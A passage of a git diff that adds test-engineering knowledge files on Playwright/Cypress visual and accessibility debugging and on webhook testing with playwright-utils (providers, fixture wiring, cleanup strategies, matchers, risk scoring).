+  // - Network tab showing any failed resource loads
+});
+```
+
+**Trace Viewer Benefits**:
+
+- **Screenshot shows visual context** of accessibility issue (contrast, missing labels)
+- **Console tab shows axe-core violations** with impact level and helpUrl
+- **DOM snapshot** allows inspecting ARIA attributes at failure point
+- **Network tab** reveals if icon fonts or images failed (common a11y issue)
+
+**Cypress Equivalent**:
+
+```javascript
+// cypress/support/commands.ts
+import 'cypress-axe';
+
+Cypress.Commands.add('checkA11y', (context = null, options = {}) => {
+  cy.injectAxe(); // Inject axe-core
+  cy.checkA11y(context, options, (violations) => {
+    if (violations.length) {
+      cy.task('log', `Found ${violations.length} accessibility violations`);
+      violations.forEach((violation) => {
+        cy.task('log', `- [${violation.impact}] ${violation.id}: ${violation.description}`);
+      });
+    }
+  });
+});
+
+// tests/e2e/checkout-a11y.cy.ts
+describe('Checkout Accessibility', () => {
+  it('should have no a11y violations', () => {
+    cy.visit('/checkout');
+    cy.injectAxe();
+    cy.checkA11y();
+    // On failure, Cypress UI shows:
+    // - Screenshot of page
+    // - Console log with violation details
+    // - Network tab with API calls
+  });
+});
+```
+
+**Key Points**:
+
+- Accessibility checks integrate seamlessly with visual debugging
+- Violations are captured in trace viewer/Cypress UI automatically
+- Provides actionable links (helpUrl) to fix issues
+- Screenshots show visual context (contrast, layout)
+
+---
+
+### Example 5: Time-Travel Debugging Workflow (Playwright Inspector)
+
+**Context**: Debug tests interactively with step-through execution
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-debug.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('debug checkout flow step-by-step', async ({ page }) => {
+  // Set breakpoint by uncommenting this:
+  // await page.pause()
+
+  await page.goto('/checkout');
+
+  // Use Playwright Inspector to:
+  // 1. Step through each action
+  // 2. Inspect DOM at each step
+  // 3. View network calls per action
+  // 4. Take screenshots manually
+
+  await page.getByTestId('payment-method').selectOption('credit-card');
+
+  // Pause here to inspect form state
+  // await page.pause()
+
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Running with Inspector**:
+
+```bash
+# Open Playwright Inspector (GUI debugger)
+npx playwright test --debug
+
+# Or use headed mode with slowMo
+npx playwright test --headed --slow-mo=1000
+
+# Debug specific test
+npx playwright test checkout-debug.spec.ts --debug
+
+# Set environment variable for persistent debugging
+PWDEBUG=1 npx playwright test
+```
+
+**Inspector Features**:
+
+1. **Step-through execution**: Click "Next" to execute one action at a time
+2. **DOM inspector**: Hover over elements to see selectors
+3. **Network panel**: See API calls with timing
+4. **Console panel**: View console.log output
+5. **Pick locator**: Click element in browser to get selector
+6. **Record mode**: Record interactions to generate test code
+
+**Common Debugging Patterns**:
+
+```typescript
+// Pattern 1: Debug selector issues
+test('debug selector', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.pause(); // Inspector opens
+
+  // In Inspector console, test selectors:
+  // page.getByTestId('user-menu') ✅
+  // page.getByRole('button', { name: 'Profile' }) ✅
+  // page.locator('.btn-primary') ❌ (fragile)
+});
+
+// Pattern 2: Debug timing issues
+test('debug network timing', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Set up network listener BEFORE interaction
+  const responsePromise = page.waitForResponse('**/api/users');
+  await page.getByTestId('load-users').click();
+
+  await page.pause(); // Check network panel for timing
+
+  const response = await responsePromise;
+  expect(response.status()).toBe(200);
+});
+
+// Pattern 3: Debug state changes
+test('debug state mutation', async ({ page }) => {
+  await page.goto('/cart');
+
+  // Check initial state
+  await expect(page.getByTestId('cart-count')).toHaveText('0');
+
+  await page.pause(); // Inspect DOM
+
+  await page.getByTestId('add-to-cart').click();
+
+  await page.pause(); // Inspect DOM again (compare state)
+
+  await expect(page.getByTestId('cart-count')).toHaveText('1');
+});
+```
+
+**Key Points**:
+
+- `page.pause()` opens Inspector at that exact moment
+- Inspector shows DOM state, network activity, console at pause point
+- "Pick locator" feature helps find robust selectors
+- Record mode generates test code from manual interactions
+
+---
+
+## Visual Debugging Checklist
+
+Before deploying tests to CI, ensure:
+
+- [ ] **Artifact configuration**: `trace: 'retain-on-failure-and-retries'`, `screenshot: 'only-on-failure'`, `video: 'retain-on-failure'`
+- [ ] **CI artifact upload**: GitHub Actions/GitLab CI configured to upload `test-results/` and `playwright-report/`
+- [ ] **HAR recording**: Set up for flaky API tests (record once, replay deterministically)
+- [ ] **Custom debug fixtures**: Console logs + network summary captured on failure
+- [ ] **Accessibility integration**: axe-core violations visible in trace viewer
+- [ ] **Trace viewer docs**: README explains how to open traces locally (`npx playwright trace open`)
+- [ ] **Inspector workflow**: Document `--debug` flag for interactive debugging
+- [ ] **Storage optimization**: Artifacts deleted after 30 days (CI retention policy)
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (initial setup), `*ci` (artifact upload), `*test-review` (validate artifact config)
+- **Related fragments**: `playwright-config.md` (artifact configuration), `ci-burn-in.md` (CI artifact upload), `test-quality.md` (debugging best practices)
+- **Tools**: Playwright Trace Viewer, Cypress Debug UI, axe-core, HAR files
+
+_Source: Playwright official docs, Murat testing philosophy (visual debugging manifesto), enterprise production debugging patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-module-setup.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-module-setup.md
new file mode 100644
index 0000000..9835986
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-module-setup.md
@@ -0,0 +1,122 @@
+# Webhook Module Setup
+
+## Principle
+
+Wire the provider once in a central fixtures file using the `webhookProviderFixture + webhookFixture + mergeTests` pattern. Tests that request `webhookRegistry` get automatic setup and teardown; tests that don't pay nothing (Playwright lazy fixture evaluation).
+
+## Fixture Wiring Pattern
+
+### WireMock Provider (recommended for most setups)
+
+The WireMock provider works with any backend that implements the `/__admin/requests` API format — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as webhookFixture } from '@seontechnologies/playwright-utils/webhook/fixtures';
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+// Lazy-initialized by Playwright — no cost for tests that don't request webhookRegistry.
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+
+const test = mergeTests(
+  base,
+  // ...your other fixtures...
+  webhookFixture,
+  webhookProviderFixture,
+);
+
+// Use matched-only cleanup project-wide: each test only deletes the webhooks it
+// matched, so a parallel worker's teardown cannot wipe the shared journal while
+// another test is still mid-flight (fullyParallel: true race condition).
+test.use({ webhookConfig: { cleanupStrategy: 'matched-only' } });
+
+export { test };
+```
+
+This is the exact pattern used in the playwright-utils E2E suite (`playwright/support/merged-fixtures.ts`).
+
+### MockServer Provider
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+### Mockoon Provider
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## Cleanup Strategy Decision
+
+| Strategy                 | Behaviour                                                                            | When to choose                                                                                                       |
+| ------------------------ | ------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------- |
+| `'full-reset'` (default) | Calls `provider.resetJournal()` — wipes the entire mock server journal               | Safe only for serial execution or when each worker has an isolated provider instance                                 |
+| `'matched-only'`         | Calls `provider.deleteById(id)` for each webhook matched by `waitFor`/`waitForCount` | Required for `fullyParallel: true` with a shared journal **when the provider supports `deleteById`** (e.g. WireMock) |
+
+**The race condition under `fullyParallel: true`**: Worker A finishes and calls `resetJournal()`. Worker B is mid-poll waiting for its webhook. Worker A's reset just deleted Worker B's webhook — the poll times out with `WebhookTimeoutError`. Use `matched-only` to avoid this — but only when the provider supports `deleteById`.
+
+**MockServer and Mockoon limitation**: Neither supports `deleteById` — their implementations are no-ops. The `startedAt` timestamp filter isolates _reads_ inside `waitFor`/`waitForCount`, but `cleanup()` with `full-reset` still calls `resetJournal()`, which wipes the entire journal. This means the teardown race exists for these providers too under `fullyParallel: true`. For parallel suites with MockServer or Mockoon, either run serially (`workers: 1`) or provision an isolated mock server instance per worker.
+
+## Fixture Lifecycle
+
+The fixture calls these in order:
+
+1. `provider.setup?.()` — optional health check or stub registration
+2. Tests run with `webhookRegistry` available
+3. `registry.cleanup()` — deletes matched webhooks (`matched-only`) or resets journal (`full-reset`)
+4. `provider.teardown?.()` — optional resource cleanup
+
+Both cleanup and teardown failures are caught and logged as warnings — they don't mask actual test failures.
+
+## WebhookRegistryConfig Options
+
+```typescript
+type WebhookRegistryConfig = {
+  defaultTimeout?: number; // default: 30000 ms
+  defaultInterval?: number; // default: 1000 ms
+  cleanupStrategy?: 'matched-only' | 'full-reset'; // default: 'full-reset'
+};
+```
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-template-matchers.md` — Template building and matcher patterns
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider details
+- `fixtures-composition.md` — mergeTests pattern
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-providers.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-providers.md
new file mode 100644
index 0000000..15eac70
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-providers.md
@@ -0,0 +1,155 @@
+# Webhook Provider Patterns
+
+## Principle
+
+Three built-in providers ship with playwright-utils. Each wraps a different mock server API. For any backend not covered, implement the `WebhookProvider` interface. The registry only cares about the contract — not the backend technology.
+
+## WireMockWebhookProvider
+
+Uses `GET /__admin/requests` to fetch the webhook log and `DELETE /__admin/requests` to reset. Supports `deleteById` for `matched-only` cleanup.
+
+**Works with any backend implementing the `/__admin/requests` format** — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+```
+
+Supports both cleanup strategies. Use `matched-only` when running `fullyParallel: true`.
+
+## MockServerWebhookProvider
+
+Uses `PUT /mockserver/retrieve` to fetch logs with client-side `since` filtering.
+
+**Limitation**: `deleteById` is a no-op — MockServer does not support deleting individual log entries by ID. The `startedAt` timestamp filter handles per-test isolation. Use `full-reset` for explicit journal cleanup.
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## MockoonWebhookProvider
+
+Uses `GET /mockoon-admin/logs` to fetch logs. The admin API is enabled by default in `@mockoon/cli`. Default log limit is 100 entries — increase with `--max-transaction-logs` if your suite generates more.
+
+**Limitation**: `deleteById` is a no-op for the same reason as MockServer. Use `full-reset`.
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+Start Mockoon with an increased log limit if needed:
+
+```bash
+mockoon-cli start --data ./mockoon-config.json --max-transaction-logs 500
+```
+
+## Custom Provider
+
+Implement `WebhookProvider` for any backend that exposes a queryable request log:
+
+```typescript
+// support/providers/custom-webhook-provider.ts
+import type { WebhookProvider, ReceivedWebhook, WebhookQueryFilter } from '@seontechnologies/playwright-utils/webhook';
+import type { APIRequestContext } from '@playwright/test';
+
+export class CustomWebhookProvider implements WebhookProvider {
+  constructor(
+    private readonly baseUrl: string,
+    private readonly request: APIRequestContext,
+  ) {}
+
+  async getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]> {
+    const params = new URLSearchParams();
+    if (filter?.since) params.set('since', filter.since.toISOString());
+    if (filter?.method) params.set('method', filter.method);
+
+    const response = await this.request.get(`${this.baseUrl}/webhooks/received?${params}`);
+    const { webhooks } = await response.json();
+    return webhooks.map((w: Record<string, unknown>) => ({
+      id: String(w.id),
+      url: String(w.url),
+      method: String(w.method),
+      headers: (w.headers as Record<string, string>) ?? {},
+      body: w.body,
+      receivedAt: new Date(String(w.receivedAt)),
+    }));
+  }
+
+  async resetJournal(): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received`);
+  }
+
+  async deleteById(id: string): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received/${id}`);
+  }
+
+  async getCount(): Promise<number> {
+    const response = await this.request.get(`${this.baseUrl}/webhooks/count`);
+    const { count } = await response.json();
+    return count as number;
+  }
+}
+```
+
+## WebhookProvider Interface
+
+```typescript
+interface WebhookProvider {
+  getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]>;
+  resetJournal(): Promise<void>;
+  deleteById(id: string): Promise<void>;
+  getCount(criteria?: Record<string, unknown>): Promise<number>;
+  removeByCriteria?(criteria: Record<string, unknown>): Promise<void>;
+  setup?(): Promise<void>; // optional — called before test
+  teardown?(): Promise<void>; // optional — called after test
+}
+```
+
+## Provider Comparison
+
+| Provider                  | deleteById | resetJournal | Parallel-safe (shared journal)      | Recommended strategy                                  | API endpoint           |
+| ------------------------- | ---------- | ------------ | ----------------------------------- | ----------------------------------------------------- | ---------------------- |
+| WireMockWebhookProvider   | ✅ Yes     | ✅ Yes       | ✅ Yes (`matched-only`)             | `matched-only`                                        | `/__admin/requests`    |
+| MockServerWebhookProvider | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockserver/retrieve` |
+| MockoonWebhookProvider    | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockoon-admin/logs`  |
+| Custom                    | Depends    | Depends      | Depends on implementation           | Depends                                               | Your API               |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Full fixture wiring for each provider
+- `webhook-testing-fundamentals.md` — Cleanup strategy rationale
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-risk-guidance.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-risk-guidance.md
new file mode 100644
index 0000000..be8a20c
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-risk-guidance.md
@@ -0,0 +1,114 @@
+# Webhook Testing Risk Guidance
+
+## Principle
+
+Webhook integration points are high-risk boundaries — they represent asynchronous side effects that cross service boundaries. A missing or malformed webhook means a downstream system never received its trigger. Default risk level: **P2 × I3** (medium probability, high impact = Risk Score 6) → must be covered by integration tests.
+
+## When Webhook Tests Are Required
+
+Webhook tests are **required** (not optional) when:
+
+| Condition                                                          | Rationale                                                              |
+| ------------------------------------------------------------------ | ---------------------------------------------------------------------- |
+| Application publishes events to external subscribers               | External consumers depend on correct payload shape and delivery timing |
+| Event-driven architecture (Kafka/SQS/event bus → webhook delivery) | The delivery pipeline is a risk boundary; delivery failures are silent |
+| Payment, order, or notification side effects                       | Business-critical; missed webhooks = missed transactions               |
+| Integration with third-party services via webhooks                 | Breaking payload changes won't surface in unit or component tests      |
+| Any async side effect that a consumer polls-on or reacts-to        | Polling tests (`recurse`) can mask webhook delivery failures entirely  |
+
+## Risk Scoring
+
+```
+Risk = Probability × Impact
+
+Probability factors (P1–P3):
+  P1 (low):    Webhook system is mature, well-tested, no history of failures
+  P2 (medium): Kafka pipeline, multiple consumers, new integrations
+  P3 (high):   New delivery mechanism, external third-party webhooks, no retry logic
+
+Impact factors (I1–I3):
+  I1 (low):    Non-critical notifications (e.g. audit logs)
+  I2 (medium): Feature-level side effects (e.g. search index updates)
+  I3 (high):   Business-critical events (payments, orders, compliance)
+```
+
+Default webhook integrations: **P2 × I3 = 6** → High → must be tested.
+
+## What a Complete Webhook Test Looks Like
+
+A complete webhook test covers:
+
+1. **Happy path**: Action fires → webhook arrives with correct payload
+2. **Sequential events (drain pattern)**: Preceding event drained before asserting on next
+3. **Parallel isolation**: Template scoped by entity ID — workers don't cross-contaminate
+4. **Timeout/error shape**: `WebhookTimeoutError` tested for negative path coverage
+5. **Cleanup verification**: Fixture auto-cleans; no leaked webhooks after test
+
+**Minimal complete example** (from playwright-utils E2E suite):
+
+```typescript
+// Template factories scoped by ID — parallel safety
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  // Drain: consume the create webhook before testing the delete path
+  await webhookRegistry.waitFor(movieCreated(movieId));
+
+  await deleteMovie(authToken, movieId);
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+## Common Failure Patterns
+
+| Failure pattern                        | Root cause                                             | How the module addresses it                                                  |
+| -------------------------------------- | ------------------------------------------------------ | ---------------------------------------------------------------------------- |
+| Test passes but webhook never verified | Test asserted on status endpoint, not delivery         | `waitFor` forces assertion on actual webhook arrival                         |
+| Flaky under `fullyParallel: true`      | `full-reset` cleanup deletes another worker's webhooks | `matched-only` strategy — only matched webhooks are deleted                  |
+| Timeout gives no useful information    | No payload inspection on failure                       | `WebhookTimeoutError.receivedWebhooks` snapshot                              |
+| Template matches wrong test's webhook  | Template not scoped by entity ID                       | Template factories accept ID parameter; `matchPredicate` for complex scoping |
+| Test hangs at 30s default timeout      | Webhook not arriving; pipeline is slow                 | Use `withTimeout()` and `withInterval(500)` per template                     |
+| Journal grows unbounded                | No cleanup strategy configured                         | Configure `cleanupStrategy` in `webhookConfig`; fixture auto-cleans          |
+
+## Risk Mitigation Checklist (for TA assessment)
+
+When a system uses webhooks, verify the test suite covers:
+
+- [ ] Happy path for each event type that has an external subscriber
+- [ ] Template factories scoped by entity ID (parallel-safe)
+- [ ] Drain pattern applied to all sequential event assertions
+- [ ] Cleanup strategy matches provider capability: `matched-only` for providers that support `deleteById` (e.g. WireMock); `full-reset` with serial execution or an isolated provider instance per worker for MockServer/Mockoon
+- [ ] Timeout values appropriate for the delivery pipeline latency (Kafka pipelines need 15s+)
+- [ ] `WebhookTimeoutError` imported and tested in negative path coverage
+- [ ] Mock server (WireMock/MockServer/Mockoon) in Docker Compose / test infra
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-module-setup.md` — Fixture wiring for each provider
+- `webhook-template-matchers.md` — Template and matcher patterns
+- `risk-governance.md` — Risk scoring framework
+- `probability-impact.md` — P×I scale definitions
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-template-matchers.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-template-matchers.md
new file mode 100644
index 0000000..58d9cf7
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-template-matchers.md
@@ -0,0 +1,160 @@
+# Webhook Template Matchers
+
+## Principle
+
+Build typed templates with `webhookTemplate()` and compose matchers using `matchField`, `matchPartial`, and `matchPredicate`. All matchers on a template use AND semantics — every matcher must pass for a webhook to be considered a match. Templates are immutable value objects produced by a fluent builder.
+
+## Template Factory Pattern
+
+Define template factories as pure functions that accept a test-scoped ID. This is the key pattern for parallel isolation — each factory call produces a template bound to a specific entity:
+
+```typescript
+import { webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+// Template factories for movie webhooks
+// 15s timeout: the Kafka → HTTP webhook delivery pipeline can back up under
+// high CI concurrency (burn-in with many parallel workers). 10s was occasionally
+// not enough; 15s gives the pipeline headroom without slowing normal runs.
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+```
+
+The ID parameter scopes each template to a specific entity, preventing parallel workers from matching each other's webhooks.
+
+## Matcher Reference
+
+### matchField — dot-path exact match
+
+Traverses dot-notation paths into the payload. Never throws if the path is missing — a missing path evaluates as non-matching.
+
+```typescript
+webhookTemplate('order.created')
+  .matchField('event', 'order.created') // top-level field
+  .matchField('data.id', orderId) // nested path
+  .matchField('data.status', 'pending') // nested string value
+  .build();
+```
+
+Matcher detail output: `field(data.id=42)`
+
+### matchPartial — deep subset check
+
+Checks that the expected object is a subset of the received payload. Extra fields in the payload are ignored. Arrays use strict length matching.
+
+```typescript
+const partialTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.created.partial')
+  .matchPartial({ event: 'movie.created', data: { id: movieId } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `partial({"event":"movie.created","data":{"id":42}})`
+
+### matchPredicate — arbitrary function
+
+Accepts any `(payload: T) => boolean` function. Always requires a human-readable description string — this appears in `WebhookTimeoutError.matcherDetails` for debugging.
+
+**ID-scoped parallel isolation** (prevents cross-worker contamination in `waitForCount`):
+
+```typescript
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+```
+
+**Business data filtering**:
+
+```typescript
+const highRatingTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; rating: number };
+}>('movie.created.high-rating')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${movieId} and data.rating >= 9`, (p) => p.data.id === movieId && p.data.rating >= 9)
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `predicate(data.id is 42 and data.rating >= 9)`
+
+## Combining Matchers
+
+All matchers use AND semantics — all must pass for the webhook to match:
+
+```typescript
+// Combined field + partial: both matchers must pass
+const updateTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.updated')
+  .matchField('event', 'movie.updated')
+  .matchPartial({ data: { id: movieId, name: nameUpdate.name } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+## Per-Template Timeout and Interval
+
+Override the registry defaults on a per-template basis:
+
+```typescript
+webhookTemplate('slow.pipeline.event')
+  .matchField('event', 'slow.pipeline.event')
+  .withTimeout(60_000) // 60s for slow delivery pipelines
+  .withInterval(2_000) // poll every 2s
+  .build();
+```
+
+## clone() for Base Template Variations
+
+> **Note**: `clone()` is available on the builder but is not used in the playwright-utils E2E suite. Use it when multiple tests share the same base template with slight field variations.
+
+```typescript
+const base = webhookTemplate<OrderPayload>('order').matchField('event', 'order.completed');
+
+const forOrderA = base.clone().matchField('data.orderId', 'A').build();
+const forOrderB = base.clone().matchField('data.orderId', 'B').build();
+```
+
+## Builder API Summary
+
+| Method                      | Description                                            |
+| --------------------------- | ------------------------------------------------------ |
+| `webhookTemplate<T>(name)`  | Create a new builder with the given template name      |
+| `.matchField(path, value)`  | Add dot-path exact-match matcher                       |
+| `.matchPartial(expected)`   | Add deep-subset matcher                                |
+| `.matchPredicate(desc, fn)` | Add arbitrary predicate matcher (description required) |
+| `.withTimeout(ms)`          | Override registry default timeout                      |
+| `.withInterval(ms)`         | Override registry default poll interval                |
+| `.clone()`                  | Copy current builder state for variation               |
+| `.build()`                  | Produce the immutable `WebhookTemplate<T>` object      |
+
+## Related Fragments
+
+- `webhook-waiting-querying.md` — waitFor, waitForCount, drain pattern
+- `webhook-timeout-error.md` — Reading matcherDetails in error output
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-testing-fundamentals.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-testing-fundamentals.md
new file mode 100644
index 0000000..dfedb2d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-testing-fundamentals.md
@@ -0,0 +1,42 @@
+# Webhook Testing Fundamentals
+
+## Principle
+
+Webhook delivery is eventually consistent — your application fires HTTP callbacks asynchronously after events occur. Tests must poll until the expected webhook arrives or time out. The `@seontechnologies/playwright-utils` webhook module provides deterministic polling, typed matchers, rich timeout diagnostics, and cleanup strategies safe under `fullyParallel: true`.
+
+## Rationale
+
+Webhook tests fail for four structural reasons:
+
+- **Eventually consistent**: Webhook delivery happens asynchronously — you cannot assert immediately after triggering an event
+- **Parallel journal pollution**: When multiple workers share the same mock server, a fast worker's teardown can delete records a slow worker is still polling
+- **Opaque timeouts**: A bare timeout tells you only that the webhook didn't arrive — it shows you nothing about what did arrive
+- **Cleanup drift**: Resetting the full journal in `afterEach` creates a race condition under `fullyParallel: true`
+
+The playwright-utils approach:
+
+- **Polling via `recurse`**: Uses Playwright's `expect.poll` under the hood — retries with configurable timeout and interval until a match is found
+- **Typed matchers**: `matchField`, `matchPartial`, `matchPredicate` — all must pass (AND semantics); matchers never throw on missing paths
+- **Rich timeout errors**: `WebhookTimeoutError` carries `totalReceived`, `receivedWebhooks`, and `matcherDetails` so you can see what arrived vs. what was expected
+- **Isolation via `startedAt`**: Each `WebhookRegistry` instance records its creation timestamp; polling only fetches webhooks received after that point, preventing leakage from prior tests
+- **Two cleanup strategies**: `full-reset` (resets entire journal) and `matched-only` (deletes only matched webhooks — parallel-safe when the provider supports delete-by-ID, e.g. WireMock)
+
+## When to Use Webhook Tests
+
+| Scenario                                                          | Use webhook tests         |
+| ----------------------------------------------------------------- | ------------------------- |
+| Application publishes events to external subscribers              | ✅ Required               |
+| Event-driven architecture with Kafka/event bus → webhook delivery | ✅ Required               |
+| Payment, order, or notification side effects via webhooks         | ✅ Required               |
+| Testing that a webhook was NOT delivered                          | ✅ Verify via timeout     |
+| Polling a status endpoint for eventual consistency                | ❌ Use `recurse` directly |
+| Frontend receiving push notifications (WebSocket)                 | ❌ Different mechanism    |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Fixture wiring and cleanup strategies
+- `webhook-template-matchers.md` — matchField, matchPartial, matchPredicate
+- `webhook-waiting-querying.md` — waitFor, waitForCount, getReceived, drain pattern
+- `webhook-timeout-error.md` — WebhookTimeoutError debugging
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider
+- `webhook-risk-guidance.md` — Risk-based guidance for TA and TD capabilities
diff --git a/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-timeout-error.md b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-timeout-error.md
new file mode 100644
index 0000000..34b7b73
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-atdd/resources/knowledge/webhook-timeout-error.md
@@ -0,0 +1,130 @@
+# WebhookTimeoutError and Debugging
+
+## Principle
+
+`WebhookTimeoutError` is thrown when `waitFor` or `waitForCount` does not find a matching webhook within the configured timeout. It carries a snapshot of received webhooks from the last polling cycle — truncated to the last 10 entries — so you can inspect what arrived vs. what was expected. The full count of all received webhooks is available in `totalReceived`.
+
+## Error Properties
+
+```typescript
+class WebhookTimeoutError extends Error {
+  readonly name = 'WebhookTimeoutError';
